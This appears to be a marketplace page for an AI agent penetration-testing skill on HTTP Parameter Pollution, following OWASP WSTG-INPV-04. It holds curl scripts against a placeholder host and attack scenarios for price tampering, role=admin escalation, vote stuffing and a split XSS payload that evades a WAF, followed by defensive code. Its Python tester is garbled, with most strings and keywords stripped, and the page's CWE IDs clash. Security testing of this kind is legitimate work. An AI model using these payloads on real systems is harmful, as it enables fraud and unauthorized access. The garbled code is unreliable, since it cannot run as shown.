Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-04명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | wstg-inpv-04 |
| description | Testing for HTTP Parameter Pollution (HPP) |
| category | input-validation |
| owasp_id | WSTG-INPV-04 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | ["php","asp","jsp"] |
| cwe_ids | ["CWE-94"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-04
Testing for HTTP Parameter Pollution (HPP)
HTTP Parameter Pollution (HPP) occurs when an application doesn't properly handle multiple parameters with the same name. Different web servers and frameworks handle duplicate parameters differently, which can lead to bypassing input validation, WAF evasion, or logic manipulation.
#!/bin/bash
TARGET="https://target.com"
# Test duplicate parameters
echo "[*] Testing duplicate parameter handling..."
# Same parameter multiple times in query string
curl -s "$TARGET/search?q=test1&q=test2" | head -20
# Parameter in both query string and body
curl -s -X POST "$TARGET/search?q=query_value" -d "q=body_value" | head -20
# URL encoded duplicates
curl -s "$TARGET/search?q=test1&q=test2&q=test3"
# Different encodings
curl -s "$TARGET/search?q=test&%71=polluted" # %71 = q
#!/usr/bin/env python3
"""
HTTP Parameter Pollution Tester
"""
requests
urllib.parse urlencode, quote
:
():
.base_url = base_url
.findings = []
.session = requests.Session()
SERVER_BEHAVIORS = {
: ,
: ,
: ,
: ,
: ,
: ,
: ,
}
():
()
url =
test_url =
response = .session.get(test_url)
()
()
response.text response.text:
()
response.text response.text:
response.text:
()
response.text response.text:
()
response.text response.text:
()
():
()
test_cases = [
,
,
,
,
,
]
test_url test_cases:
url =
response = .session.get(url)
response.status_code == :
response.text.lower() response.text.lower():
()
.findings.append({
: ,
: test_url,
: ,
:
})
():
()
payloads = [
(, ),
(, ),
(, ),
]
payload, description payloads:
url =
response = .session.get(url)
response.status_code == :
()
.findings.append({
: ,
: payload,
: description,
:
})
:
()
():
()
business_params = [
(, , ),
(, , ),
(, , ),
(, , ),
(, , ),
(, , ),
]
param, normal_val, malicious_val business_params:
url1 =
url2 =
url [url1, url2]:
:
response = .session.get(url)
response.status_code == :
()
:
():
()
payloads = [
,
,
,
]
payload payloads:
url =
response = .session.get(url)
()
():
()
variations = [
(, ),
(, ),
(, ),
(, ),
(, ),
(, ),
(, ),
(, ),
]
base_url =
variant, description variations:
url =
response = .session.get(url)
()
():
( + *)
()
(*)
()
server, behavior .SERVER_BEHAVIORS.items():
()
.findings:
()
f .findings:
()
f:
()
f:
()
f:
()
()
():
.test_duplicate_params(endpoint, param)
.test_auth_bypass(endpoint)
.test_waf_bypass(endpoint, param)
.test_business_logic()
.test_client_side_hpp(endpoint)
.test_encoding_variations(endpoint, param)
.generate_report()
tester = HPPTester()
tester.run_tests()
#!/bin/bash
# Test parameter handling by server type
TARGET="https://target.com/page"
echo "=== HPP Server Behavior Tests ==="
# Test 1: Basic duplicate parameters
echo -e "\n[Test 1] Basic duplicate: ?id=1&id=2"
curl -s "$TARGET?id=1&id=2" | grep -oP 'id["\s:=]+\K[^"&\s,<]+' | head -5
# Test 2: URL encoded duplicate
echo -e "\n[Test 2] URL encoded: ?id=1&%69%64=2"
curl -s "$TARGET?id=1&%69%64=2" | grep -oP 'id["\s:=]+\K[^"&\s,<]+' | head -5
# Test 3: Array notation (PHP)
echo -e "\n[Test 3] Array notation: ?id[]=1&id[]=2"
curl -s "$TARGET?id[]=1&id[]=2" | grep -oP 'id["\s:=]+\K[^"&\s,<]+' | head -5
# Test 4: POST body vs query string
echo -e "\n[Test 4] Query vs Body: ?id=query with POST id=body"
curl -s -X POST "$TARGET?id=query" -d "id=body" | grep -oP 'id["\s:=]+\K[^"&\s,<]+' | head -5
# Test 5: JSON body pollution
echo -e "\n[Test 5] JSON with duplicate keys"
curl -s -X POST "$TARGET" \
-H "Content-Type: application/json" \
-d '{"id":"1","id":"2"}' | head -20
# Scenario 1: Vote manipulation
# Original: /vote?poll_id=1&choice=A
# Attack: /vote?poll_id=1&choice=A&choice=B&choice=C
# If server processes all choices, attacker votes multiple times
# Scenario 2: Price manipulation
# Original: /checkout?item=123&price=100
# Attack: /checkout?item=123&price=100&price=1
# If server uses last price value, attacker pays less
# Scenario 3: Access control bypass
# Original: /api/user?id=123&role=user
# Attack: /api/user?id=123&role=user&role=admin
# If server uses last role value, attacker escalates privileges
# Scenario 4: WAF evasion
# WAF blocks: <script>alert(1)</script>
# Attack: /page?input=<script>&input=alert(1)</script>
# Server concatenates: <script>alert(1)</script> (bypasses WAF)
| Tool | Purpose |
|---|---|
| Burp Suite | Parameter manipulation |
| ParamMiner | Parameter discovery |
| Arjun | Hidden parameter finder |
| curl | Manual testing |
# Python/Flask - Handle duplicate parameters explicitly
from flask import Flask, request
app = Flask(__name__)
@app.route('/api/action')
def handle_action():
# Get only the first value
param = request.args.get('param') # First value only
# Or explicitly handle multiple values
all_values = request.args.getlist('param')
if len(all_values) > 1:
# Log potential HPP attempt
app.logger.warning(f"Multiple values for param: {all_values}")
# Use only the first or reject
return "Invalid request", 400
return process_param(param)
<?php
// PHP - Explicitly handle parameters
// By default, PHP uses the last value
// Get all values
$values = $_GET;
// Check for array parameters
if (is_array($_GET['param'])) {
// Handle array or reject
error_log("HPP attempt detected");
http_response_code(400);
exit("Invalid request");
}
// Use the expected single value
$param = $_GET['param'];
?>
// Node.js/Express - Handle duplicates
app.get("/api/action", (req, res) => {
const param = req.query.param
// Express returns array for duplicates
if (Array.isArray(param)) {
console.warn("HPP attempt:", param)
return res.status(400).send("Invalid request")
}
// Process single value
processParam(param)
})
| Finding | CVSS | Severity |
|---|---|---|
| HPP leading to auth bypass | 8.1 | High |
| HPP price/quantity manipulation | 7.5 | High |
| HPP WAF bypass | 6.5 | Medium |
| HPP logic manipulation | 5.5 | Medium |
| CWE ID | Title |
|---|---|
| CWE-235 | Improper Handling of Extra Parameters |
[ ] Duplicate parameter behavior tested
[ ] Server parameter precedence identified
[ ] Authentication bypass tested
[ ] Authorization bypass tested
[ ] WAF bypass tested
[ ] Business logic impact tested
[ ] Encoding variations tested
[ ] Findings documented